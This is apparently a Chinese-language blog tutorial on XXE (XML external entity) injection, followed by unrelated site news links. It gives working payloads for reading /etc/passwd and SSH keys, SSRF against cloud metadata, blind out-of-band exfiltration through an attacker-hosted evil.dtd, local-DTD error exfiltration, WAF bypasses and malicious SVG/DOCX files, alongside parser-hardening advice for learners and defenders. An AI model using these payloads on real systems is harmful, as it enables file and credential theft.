XXE漏洞攻防实战:从原理到高级利用与防御
1. 项目概述为什么XXE值得你投入时间如果你是一名Web安全测试人员、渗透测试工程师或者正在学习网络安全那么“XXE”这个词你肯定不陌生。它全称是XML External Entity Injection中文叫XML外部实体注入。乍一听这名字有点技术范儿感觉是那种藏在代码深处、只有高手才能玩转的漏洞。但实际情况是XXE漏洞的原理并不复杂它的危害却可能非常巨大——从读取服务器上的敏感文件比如/etc/passwd、/etc/shadow、应用配置文件到发起服务器端请求伪造攻击甚至在某些情况下能直接导致远程代码执行。更重要的是XXE的攻击面远比你想象的要广它可能隐藏在那些你从未想过会处理XML的地方比如图片上传、文档解析甚至只是修改一下HTTP请求的Content-Type头。我刚开始接触XXE时也以为它只是众多漏洞类型中普通的一种。但经过这些年实际项目中的摸爬滚打处理过各种奇葩的、隐蔽的XXE场景后我发现它是一条非常值得深入挖掘的“打怪升级”之路。从最基础的读取文件到盲注、XInclude攻击、利用DTD进行数据外带每一步都像解锁一个新技能能让你对Web应用的数据流、解析逻辑有更深的理解。这篇文章我就想把我这些年从零基础到能熟练应对各种XXE场景的经验、踩过的坑、以及那些实战中总结出来的技巧系统地分享给你。无论你是刚入门的新手还是想查漏补缺的老手收藏这篇跟着这条“打怪升级”的路径走就够了。2. 核心原理与攻击面深度解析要打好XXE这场仗光知道怎么用Payload是不够的你必须理解它为什么能生效。这就像练武招式是表象内功心法才是根本。2.1 XML与DTD漏洞的根源XXE的根源在于XML标准本身的设计。XML被设计为一种可扩展的标记语言为了支持这种扩展性它引入了文档类型定义。DTD可以定义文档的结构、元素的合法性以及——最关键的部分——实体。你可以把实体理解为XML文档中的“变量”或“宏”。它允许你定义一个缩写然后在文档的其他地方引用这个缩写解析时会被替换成定义的内容。实体分为内部实体和外部实体。内部实体在DTD内部定义值。例如!ENTITY company “Acme Inc.”然后在XML中用company;引用。外部实体这才是XXE的核心。它的值来源于外部资源通过SYSTEM关键字指定一个URI统一资源标识符。例如!ENTITY xxe SYSTEM “file:///etc/passwd”。当XML解析器在解析文档时如果配置不当通常是默认配置或开发者未做安全限制它就会乖乖地去加载并解析这个外部实体。如果这个URI指向的是file://协议它就会读取本地文件如果指向http://它就会发起一个HTTP请求。注意这里有一个关键点不是所有XML解析器都默认支持外部实体。但很多流行的、历史悠久的解析器如Java的JAXP、Python的xml.etree.ElementTree的某些模式、PHP的SimpleXML等在默认配置下是支持的或者需要通过显式配置来禁用。这就是漏洞滋生的土壤。2.2 攻击面挖掘不止于明显的XML端点很多人认为只有那些明显接收application/xml或text/xml内容类型的API或接口才可能存在XXE。这是一个巨大的误区。XXE的攻击面非常隐蔽。文件上传功能这是最容易被忽略的黄金地带。许多应用允许上传文件后端会用库去解析或验证这些文件。例如SVG图片SVG本质上是XML格式。你可以上传一个包含恶意XXE Payload的SVG文件。Office文档DOCX、PPTX、XLSX等文件实际上是ZIP压缩包里面包含word/document.xml这样的XML文件。如果服务器端解压后解析这些XML就可能触发XXE。PDF某些PDF生成库或解析器也可能处理内嵌的XMP元数据XML格式。图像处理库像ImageMagick这样的工具在解析某些格式如EPUB、DOCX时也可能触发XML解析。内容类型篡改一个普通的表单提交Content-Type是application/x-www-form-urlencoded数据是key1value1key2value2。但如果服务器端代码写得“宽容”或使用了某些框架它可能也能接受text/xml。这时你完全可以把数据包改成XML格式从而引入XXE攻击。在测试时养成检查请求可接受内容类型的习惯非常重要。XInclude攻击有些场景下你无法控制整个XML文档比如你只能控制嵌入到服务器端SOAP请求中的一个参数因此无法插入DOCTYPE定义。这时可以尝试XInclude。XInclude是XML的一个标准允许从其他文档包含内容。你可以在你控制的那个数据节点中插入XInclude指令来包含外部文件。Payload形如foo xmlns:xi”http://www.w3.org/2001/XInclude”xi:include parse”text” href”file:///etc/passwd”//foo。这招在遇到WAF过滤!DOCTYPE时也可能有奇效。SOAP APISOAP协议基于XML是老式Web Service的常用协议。虽然现在RESTful API更流行但许多企业内部系统、遗留系统仍在使用SOAP它们是XXE的富矿。理解这些攻击面意味着你在做渗透测试或代码审计时眼光不能只盯着那些明面上的XML接口。任何接收用户输入并最终可能被某个XML解析器处理的地方都值得用XXE的视角去审视一遍。3. 从入门到精通实战攻击链拆解理论说再多不如动手练。下面我们按照从易到难的顺序拆解一条完整的XXE攻击链。我会假设你有一个测试环境强烈建议使用PortSwigger的Web Security Academy实验室或自己搭建的DVWA、bWAPP等靶场。3.1 环境准备与基础探测在开始攻击前你需要两样东西一个测试目标和一套顺手的工具。工具选型Burp Suite Professional/Community这是绝对的主力。它的Repeater、Intruder、Scanner模块对XXE测试至关重要。Community版对于手动测试也完全足够。Burp Collaborator这是Burp Suite的一个功能Professional版功能更全Community版可通过Burp Collaborator Client使用用于检测盲XXE。它提供一个临时的、由你控制的域名用于接收带外数据。OOB测试服务器除了Burp Collaborator你也可以自己搭建一个简单的HTTP/ DNS服务器来接收请求比如用Python的http.server模块或ngrok暴露内网服务。文本编辑器用于快速构造和修改XML Payload。探测步骤寻找XML处理点使用浏览器或代理工具浏览应用关注所有提交数据的请求。查看请求头中的Content-Type是否为application/xml或text/xml。同时也要注意那些可能隐式处理XML的功能点如文件上传、文档预览等。尝试修改Content-Type对于普通的POST请求如表单登录、搜索尝试将Content-Type从application/x-www-form-urlencoded改为text/xml同时将请求体从keyvalue格式改为最简单的XML格式如?xml version”1.0″?keyvalue/key。观察应用是否依然能正常处理并返回响应。如果能那么恭喜你找到了一个潜在的XXE入口。基础回显测试在确认XML被解析后插入一个最简单的内部实体测试解析器是否处理DTD。例如?xml version1.0? !DOCTYPE test [ !ENTITY hello “world” ] datahello;/data如果响应中包含了“world”说明DTD和实体都被解析了可以进行下一步。3.2 基础攻击文件读取与SSRF当确认存在XXE且响应中能回显实体内容时最简单的攻击就是读取服务器文件或发起SSRF。文件读取Payload示例?xml version1.0? !DOCTYPE readfile [ !ENTITY xxe SYSTEM file:///etc/passwd ] stockCheckproductIdxxe;/productId/stockCheck这个Payload定义了一个外部实体xxe其内容是file:///etc/passwd文件。然后在productId元素中引用这个实体。如果漏洞存在服务器响应中productId的值就会被替换成/etc/passwd文件的内容。实操要点与技巧文件路径Linux系统常用file:///etc/passwd、file:///proc/self/environ获取环境变量、file:///home/username/.ssh/id_rsa获取私钥。Windows系统则使用file:///C:/windows/win.ini或file:///C:/windows/system32/drivers/etc/hosts。注意Windows路径中的反斜杠和盘符。编码问题如果文件包含XML特殊字符如,,”直接包含可能会导致XML解析错误。这时可以尝试用PHP的filter包装器如果服务器是PHP来Base64编码文件内容!ENTITY xxe SYSTEM “php://filter/convert.base64-encode/resource/etc/passwd”。这样读取到的内容就是Base64编码的解码即可。SSRF攻击Payload示例?xml version1.0? !DOCTYPE ssrf [ !ENTITY xxe SYSTEM http://169.254.169.254/latest/meta-data/ ] dataxxe;/data这个Payload会让服务器向AWS元数据服务一个通常只有服务器内部能访问的地址发起HTTP GET请求并将响应内容返回到回显位置。这可以用来探测内网服务、访问云元数据获取临时凭证等危害极大。3.3 进阶攻击盲XXE与数据外带很多情况下XXE是“盲”的。即应用会解析XML但不会在响应中输出任何外部实体的内容。你无法直接看到文件内容或SSRF的响应。这时就需要更高级的技巧。盲XXE的检测基于错误的检测尝试引用一个不存在的实体或构造错误的XML观察服务器返回的错误信息是否有所不同。有时错误信息会泄露路径信息。带外通道检测这是最可靠的方法。使用Burp Collaborator或你自己的服务器。?xml version1.0? !DOCTYPE test [ !ENTITY % file SYSTEM file:///etc/passwd !ENTITY % dtd SYSTEM http://YOUR-COLLABORATOR-SUBDOMAIN.burpcollaborator.net/xxe %dtd; ] datatest/data这个Payload定义了一个参数实体%file注意参数实体以%开头只能在DTD内部使用和一个参数实体%dtd指向你的Collaborator域名。如果服务器解析了此外部DTD并向你的域名发起了HTTP请求就证明存在XXE漏洞。注意在实际利用中直接这样写可能不行因为XML规范不允许在内部子集中使用参数实体引用外部URI除了外部DTD。更常见的做法是分两步。盲XXE的数据外带这是盲XXE利用的精华。思路是让服务器分两次加载DTD。第一次加载一个我们可控的恶意DTD这个DTD中定义了实体其值包含我们想窃取的数据比如文件内容并让这个实体向我们的服务器发起第二个请求将数据包含在URL参数中带出来。步骤分解在攻击者服务器上放置恶意DTD文件(evil.dtd)!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % exfil !ENTITY #x25; send SYSTEM http://YOUR-SERVER.com/?data%file; %exfil;这个DTD做了三件事定义参数实体%file值为目标文件内容。定义参数实体%exfil其值是一个实体声明声明了一个名为%send的参数实体注意这里用#x25;代表%字符是为了避免解析错误这个实体的值是一个指向我们服务器的URL并将%file的内容作为data参数的值。这里有一个关键技巧直接将文件内容放入URL可能因包含非法字符如换行符、而失败所以通常需要先进行编码。引用%exfil从而声明%send实体。构造触发Payload发送给目标应用?xml version1.0? !DOCTYPE data [ !ENTITY % dtd SYSTEM http://YOUR-SERVER.com/evil.dtd %dtd; ] datasend;/data这个Payload定义参数实体%dtd指向我们服务器上的evil.dtd。引用%dtd导致服务器去加载我们的恶意DTD。恶意DTD被加载后会声明%send实体。最后在XML正文中引用send;实体这会触发服务器向我们的服务器发起HTTP请求并将文件内容经过编码后作为URL参数发送过来。实操心得在实际利用中文件内容直接放在URL里经常失败。更稳健的做法是使用FTP协议如果服务器支持或者利用PHP的filter包装器进行Base64编码。例如将恶意DTD中的file:///etc/passwd改为php://filter/convert.base64-encode/resource/etc/passwd这样读取到的就是Base64文本可以安全地放在URL中。然后在你的服务器日志中看到一串Base64字符串解码即可。3.4 高阶技巧利用本地DTD进行错误型数据外带在某些严格的环境中服务器可能无法出网即不能访问外部URL导致我们无法加载远程DTD。这时可以尝试利用服务器上已存在的本地DTD文件来触发错误并通过错误信息带出数据。原理XML规范允许在内部实体中“重新声明”参数实体。如果我们能找到一个服务器上存在的DTD文件并在其中找到一个可以被覆盖的参数实体我们就可以在内部子集中引用这个本地DTD然后覆盖其中的某个参数实体使其包含我们想要窃取的数据并触发一个错误让错误信息中包含我们的数据。步骤寻找可用的本地DTD这需要一些经验和对目标系统的了解。常见的如Linux系统上的/usr/share/yelp/dtd/docbookx.dtd、/usr/share/xml/fontconfig/fonts.dtd等。也可以尝试通过文件读取漏洞先探测一些可能存在的DTD路径。构造Payload假设我们找到了/usr/share/yelp/dtd/docbookx.dtd并且知道其中包含一个名为%ISOamso的参数实体。?xml version1.0? !DOCTYPE message [ !ENTITY % local_dtd SYSTEM file:///usr/share/yelp/dtd/docbookx.dtd !ENTITY % ISOamso !ENTITY #x25; file SYSTEM file:///etc/passwd !ENTITY #x25; eval !ENTITY #x26;#x25; error SYSTEM #x27;file:///nonexistent/#x25;file;#x27; #x25;eval; #x25;error; %local_dtd; ] datatest/data这个Payload非常精妙它首先定义%local_dtd实体加载本地DTD。然后它重新定义了本地DTD中已有的%ISOamso参数实体覆盖了原来的定义。在新的定义里它嵌套了读取文件、构造错误实体的逻辑。最后引用%local_dtd。解析器加载本地DTD时会使用我们新定义的%ISOamso。在我们的定义里%error实体试图加载一个不存在的文件文件名被构造为/nonexistent/[file_content]这必然会导致一个“文件未找到”的错误而这个错误信息中就会包含/etc/passwd的文件内容这种方法非常隐蔽因为它不依赖任何外部网络连接完全在服务器内部完成。但它的前提是找到合适的本地DTD和可覆盖的参数实体这需要一定的运气和探测。4. 防御绕过与特殊场景实战在实际的渗透测试或攻防演练中你很少会遇到一个“标准”的、毫无防护的XXE漏洞。开发人员可能使用了一些基础的过滤或者应用架构比较特殊。这时就需要一些绕过技巧。4.1 针对WAF/过滤的绕过编码绕过HTML实体编码如果WAF只简单匹配!DOCTYPE或SYSTEM等关键词可以尝试使用HTML实体编码。例如可以写成lt;写成gt;写成amp;。但要注意这要求服务器在解析XML之前先进行解码。UTF-16编码将整个XML文档保存为UTF-16编码格式大端序或小端序有时可以绕过基于字符串匹配的WAF。Burp Suite的Decoder模块可以方便地进行编码转换。CDATA标签尝试将恶意Payload包裹在![CDATA[ ... ]]中。但注意CDATA部分不能包含]]且!ENTITY声明本身不能放在CDATA里但实体引用可以。协议切换除了常见的file://和http://可以尝试其他协议如php://filter在PHP环境中非常有用用于编码文件。expect://如果安装了Expect扩展可以用于执行命令但极罕见。jar:、netdoc:在某些Java环境中可能可用。gopher://、dict://可用于探测内网服务或进行更复杂的SSRF。利用DTD的复杂特性例如使用参数实体嵌套、外部参数实体引用来构造复杂的Payload以混淆和绕过简单的正则过滤。4.2 文件上传场景的利用这是我最喜欢测试的点因为成功率往往不低。SVG图片XXE创建一个SVG文件内容如下?xml version1.0 standaloneyes? !DOCTYPE test [ !ENTITY xxe SYSTEM file:///etc/passwd ] svg width100px height100px xmlnshttp://www.w3.org/2000/svg version1.1 text font-size16 x0 y16xxe;/text /svg如果服务器在处理SVG时解析了XML实体并且有回显点比如将SVG内容直接输出或报错就可能看到文件内容。即使没有回显也可以尝试盲XXE的Payload。DOCX文件XXE将一个正常的.docx文件重命名为.zip并解压。进入word目录编辑document.xml或settings.xml等文件插入XXE Payload。重新压缩所有文件为ZIP再改回.docx后缀。 上传这个恶意DOCX文件如果服务器端有解压并解析XML的环节比如文档转换服务、内容提取服务就可能触发XXE。4.3 通过修改Content-Type的利用这是一种“无中生有”的攻击方式。测试流程如下拦截一个普通的POST请求例如登录请求。将请求头中的Content-Type: application/x-www-form-urlencoded修改为Content-Type: text/xml。将请求体从usernameadminpassword123456格式修改为XML格式?xml version1.0? !DOCTYPE test [ !ENTITY xxe SYSTEM file:///etc/passwd ] root usernamexxe;/username password123456/password /root发送请求观察响应。如果应用正常处理了“用户名”现在变成了文件内容并返回了不同的响应比如登录失败信息中包含文件内容或者触发了错误就说明存在漏洞。这种漏洞的根源在于后端代码使用了通用的数据解析库这些库会根据Content-Type自动选择解析器而开发人员没有对XML解析器做安全配置。5. 防御方案与代码审计要点知道了怎么攻击才能更好地防御。作为安全工程师或开发者了解如何杜绝XXE至关重要。5.1 根本性防御禁用危险特性这是最有效的方法。几乎所有的XXE漏洞都源于XML解析器默认启用了不必要的危险特性主要是外部实体解析和DTD处理。不同语言/库的禁用方法示例语言/库安全配置代码示例说明Java (DocumentBuilderFactory)factory.setFeature(“http://apache.org/xml/features/disallow-doctype-decl”, true);factory.setFeature(“http://xml.org/sax/features/external-general-entities”, false);factory.setFeature(“http://xml.org/sax/features/external-parameter-entities”, false);优先使用disallow-doctype-decl完全禁用DTD这是最安全的。Java (SAXParserFactory)spf.setFeature(“http://apache.org/xml/features/disallow-doctype-decl”, true);同上。Python (lxml)parser etree.XMLParser(resolve_entitiesFalse, no_networkTrue)resolve_entitiesFalse禁用实体解析。Python (xml.etree.ElementTree)默认安全。但XMLParser对象在某些模式下可能不安全建议使用defusedxml库替代。使用defusedxml是Python社区的最佳实践。PHP (libxml)libxml_disable_entity_loader(true);在解析XML前调用此函数。.NET (XmlDocument)XmlDocument doc new XmlDocument();doc.XmlResolver null; // 关键将XmlResolver设置为null。.NET (XmlTextReader)settings.ProhibitDtd true; // .NET 4.0前settings.DtdProcessing DtdProcessing.Prohibit; // .NET 4.0后明确禁止DTD处理。重要提示仅仅禁用外部实体可能不够因为XInclude攻击可能不需要DTD。因此如果不需要DTD最佳实践是完全禁用DTD。如果确实需要DTD则必须同时禁用外部实体和外部DTD子集。5.2 输入过滤与净化在无法完全控制解析器配置的旧系统或第三方库中可以考虑对输入进行过滤。黑名单过滤效果很差不推荐。因为绕过方式太多编码、换行、特殊字符等。白名单验证对用户输入的XML结构进行严格校验只允许预期的元素和属性。可以使用XML Schema (XSD)进行验证。注意XSD验证本身也可能被滥用XSD注入需要正确配置。字符过滤在将用户输入插入到服务器端XML文档前对、、等XML元字符进行转义。但这只能防御注入不能防御通过DOCTYPE引入的外部实体。5.3 代码审计中的关注点在进行安全代码审计时应全局搜索以下关键词XML解析相关类/函数如DocumentBuilderFactory、SAXParser、XMLReader、XPathExpression、SimpleXML、lxml.etree、XmlDocument等。文件解析/处理函数特别是处理用户上传文件的代码看是否调用了ImageMagick、DOMDocument、XMLReader等。网络请求库检查是否将用户可控的XML数据发送给其他内部服务可能引发SSRF。配置检查仔细检查上述解析类的初始化代码确认是否设置了安全属性setFeature,setAttribute。审计时要追踪用户输入是否能够流入这些XML解析的入口点。一个常见的漏洞模式是用户上传文件 - 服务器用DocumentBuilder解析文件内容 - 未禁用外部实体 - XXE。6. 实战案例与排错实录理论说了一堆最后分享几个我实际遇到过的坑和解决思路希望能帮你少走弯路。案例一盲XXE无回显Collaborator也没收到请求现象测试一个疑似XXE的点用了带Burp Collaborator域名的Payload但Collaborator一直没收到DNS或HTTP请求。排查首先检查Payload语法是否正确特别是参数实体的声明和引用格式%和;。检查目标服务器是否能出网。尝试一个简单的http://外部实体看服务器是否会发起请求可以通过服务器响应时间延迟来判断如果加载外部资源解析可能会变慢。可能是网络策略限制。目标服务器可能无法访问外部互联网。这时可以尝试利用本地DTD的错误回显方式。可能是解析器根本不支持外部参数实体。可以尝试回显型XXE Payload确认基础漏洞是否存在。解决最终发现是目标服务器在一个严格的内网环境无法访问外网。转而使用file:///etc/hosts进行回显测试发现存在漏洞但无法数据外带。于是尝试利用已知的本地DTD路径进行错误型数据外带经过多次尝试最终利用/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd成功带出了数据。案例二文件读取成功但内容是乱码或截断现象成功读取/etc/passwd但返回的内容夹杂着、等字符或者文件内容不完整。排查XML非法字符/etc/passwd内容包含、等字符破坏了XML格式。解析器可能在遇到第一个非法字符时就停止解析或报错。文件编码目标文件可能是二进制或非UTF-8编码。解决使用PHP包装器进行Base64编码php://filter/convert.base64-encode/resource/etc/passwd。这是最常用的方法。如果非PHP环境可以尝试读取一些已知只包含纯文本的文件如/proc/self/environ环境变量可能包含敏感信息。尝试读取文件的一部分。例如利用file:///etc/passwd本身没问题但可以尝试用tail命令的思路不在XXE中不行。但可以尝试读取/etc/issue等小文件。案例三WAF拦截了包含SYSTEM或file://的请求现象发送包含!ENTITY ... SYSTEM “file:///...”的请求被WAF拦截返回403或自定义错误页面。绕过尝试大小写混淆SYSTEM-System、SyStEm。file://-FILE://、FiLe://。多余空白/换行在关键字中插入换行符或制表符URL编码为%0a、%09。例如!ENTITY xxe SYSTEM “file:///etc/passwd”。使用不同协议尝试http://内部地址进行SSRF测试可能WAF对file://敏感对http://放松。编码对Payload整体进行UTF-16编码。使用CDATA虽然不能包裹实体声明但可以尝试将Payload放在CDATA中看WAF是否还匹配。或者将file:///etc/passwd放在CDATA里作为某个元素的值但这通常用于注入场景而非定义实体。利用DTD内部子集和外部子集的特性将部分Payload放在外部DTD中主Payload只引用外部DTD。有时WAF只检查请求主体不检查外部引用的内容。XXE的攻防是一场有趣的博弈。作为攻击方你需要不断思考如何绕过限制、如何利用有限的回显作为防御方你需要深刻理解漏洞原理从解析器配置这个根源上解决问题。这条“打怪升级”之路其实也是你对Web应用数据流、协议、解析器行为理解不断加深的过程。希望这篇长文能成为你手边常备的参考无论遇到哪种XXE场景都能从容应对。

相关新闻

RePKG技术深度解析:揭秘Wallpaper Engine资源提取与TEX转换核心技术

RePKG技术深度解析:揭秘Wallpaper Engine资源提取与TEX转换核心技术

RePKG技术深度解析:揭秘Wallpaper Engine资源提取与TEX转换核心技术 【免费下载链接】repkg Wallpaper engine PKG extractor/TEX to image converter 项目地址: https://gitcode.com/gh_mirrors/re/repkg 你是否曾经面对Wallpaper Engine中精美的壁纸资源&a…

2026/7/4 10:03:43 阅读更多 →
Anaconda+pycharm安装及环境配置

Anaconda+pycharm安装及环境配置

目录 一:工具准备 二:Anaconda安装及环境配置 2.1 Anaconda安装 2.2注意点: 2.3 环境搭建 2.4 确认环境是否搭建成功 三:pycharm安装及基础设置 3.1Pycharm安装 3.2 pycharm设置 3.21 环境设置 3.22 其他设置 安装过程中&a…

2026/7/4 9:59:42 阅读更多 →
vivo vcl远程真机调试折叠屏使用教程

vivo vcl远程真机调试折叠屏使用教程

简介vivo已于2018年上线了远程真机平台 目的地就是为了一些开发者通过其平台进行远程调试app或者小程序。vivo云真机平台已覆盖目前在售的vivo和iqoo机型。登陆账号输入vcl.vivo.com.cn。然后登陆账号即可登陆后找到远程真机选项。然后进入远程真机页面然后在远程真机调试页面选…

2026/7/4 9:59:42 阅读更多 →

最新新闻

ICM-42688-P与PIC18LF47K40在机器人控制与工业监测中的应用

ICM-42688-P与PIC18LF47K40在机器人控制与工业监测中的应用

1. ICM-42688-P与PIC18LF47K40的黄金组合解析 在机器人控制和工业监测领域,传感器与微控制器的选型直接决定了系统性能上限。ICM-42688-P作为TDK InvenSense推出的6轴MEMS惯性测量单元(IMU),其核心价值在于将三轴陀螺仪和三轴加速度计集成在3x3x0.9mm的封…

2026/7/4 11:08:27 阅读更多 →
SPI EEPROM与PIC单片机数据存储检索实战

SPI EEPROM与PIC单片机数据存储检索实战

1. 项目背景与核心器件选型 在嵌入式系统开发中,快速精确的数据检索是一个常见但颇具挑战的需求。25CSM04作为一款4Mbit容量的SPI接口EEPROM,搭配PIC18F86J15这款高性能8位单片机,能够构建一个稳定可靠的数据存储与检索系统。 25CSM04的主要…

2026/7/4 11:06:27 阅读更多 →
Ceph存储池管理开发:openeuler/ceph_dev中存储池配置与优化完整指南

Ceph存储池管理开发:openeuler/ceph_dev中存储池配置与优化完整指南

Ceph存储池管理开发:openeuler/ceph_dev中存储池配置与优化完整指南 【免费下载链接】ceph_dev ceph_dev is a project focus on some feature developing based on ceph 项目地址: https://gitcode.com/openeuler/ceph_dev 前往项目官网免费下载&#xff1a…

2026/7/4 11:04:26 阅读更多 →
Android 7.0+ HTTPS抓包全攻略:从原理到实战,破解网络安全配置限制

Android 7.0+ HTTPS抓包全攻略:从原理到实战,破解网络安全配置限制

1. 项目概述:为什么Android 7.0的HTTPS抓包是个“坎”? 如果你是一名移动端开发、测试或者安全研究员,想在Android手机上抓取HTTPS流量,大概率听说过Charles的大名。这确实是个神器,在Android 6.0及之前的系统上&#…

2026/7/4 11:04:26 阅读更多 →
基于YOLOv8的课堂行为检测系统设计与实现

基于YOLOv8的课堂行为检测系统设计与实现

1. 项目概述这个课堂行为检测系统是一个典型的计算机视觉应用项目,它利用YOLOv8这一当前最先进的目标检测算法,实现了对学生课堂行为的自动化识别与记录。整套系统包含完整的算法实现、数据集构建、用户界面开发以及部署方案,形成了一个端到端…

2026/7/4 11:02:26 阅读更多 →
企业级Agentic AI实战:从智能体概念到多智能体系统构建

企业级Agentic AI实战:从智能体概念到多智能体系统构建

🚀 30款热门AI模型一站整合,DeepSeek/GLM/Claude 随心用,限时 5 折。 👉 点击领海量免费额度 最近和不少技术负责人、架构师交流,发现大家聊到 AI 落地,话题已经从“要不要用大模型”转向了“如何构建能…

2026/7/4 11:00:26 阅读更多 →

日新闻

Memcached 1.6.43 发布:关键安全修复版本,多项问题得到解决

Memcached 1.6.43 发布:关键安全修复版本,多项问题得到解决

Memcached 1.6.43 正式发布,这是一个关键的安全修复版本,修复了多个方面的问题,还对部分功能进行了优化。 安全修复亮点 此次发布在安全修复上表现突出。binprot 避免了项目引用计数溢出,mcmc 因安全问题提升了上游版本号&#xf…

2026/7/4 0:04:29 阅读更多 →
终极指南:使用HMCL启动器跨平台畅玩Minecraft的完整解决方案

终极指南:使用HMCL启动器跨平台畅玩Minecraft的完整解决方案

终极指南:使用HMCL启动器跨平台畅玩Minecraft的完整解决方案 【免费下载链接】HMCL A Minecraft Launcher which is multi-functional, cross-platform and popular 项目地址: https://gitcode.com/gh_mirrors/hm/HMCL HMCL(Hello Minecraft! Lau…

2026/7/4 0:06:29 阅读更多 →
KMX63与PIC18F66K40在嵌入式HMI中的硬件协同与低功耗设计

KMX63与PIC18F66K40在嵌入式HMI中的硬件协同与低功耗设计

1. KMX63与PIC18F66K40的硬件协同架构解析KMX63作为一款三轴加速度计和磁力计组合传感器,与PIC18F66K40微控制器的搭配堪称嵌入式HMI开发的黄金组合。这套硬件组合的核心优势在于KMX63提供的高精度运动感知能力与PIC18F66K40强大的信号处理能力形成了完美互补。KMX6…

2026/7/4 0:06:29 阅读更多 →

周新闻

月新闻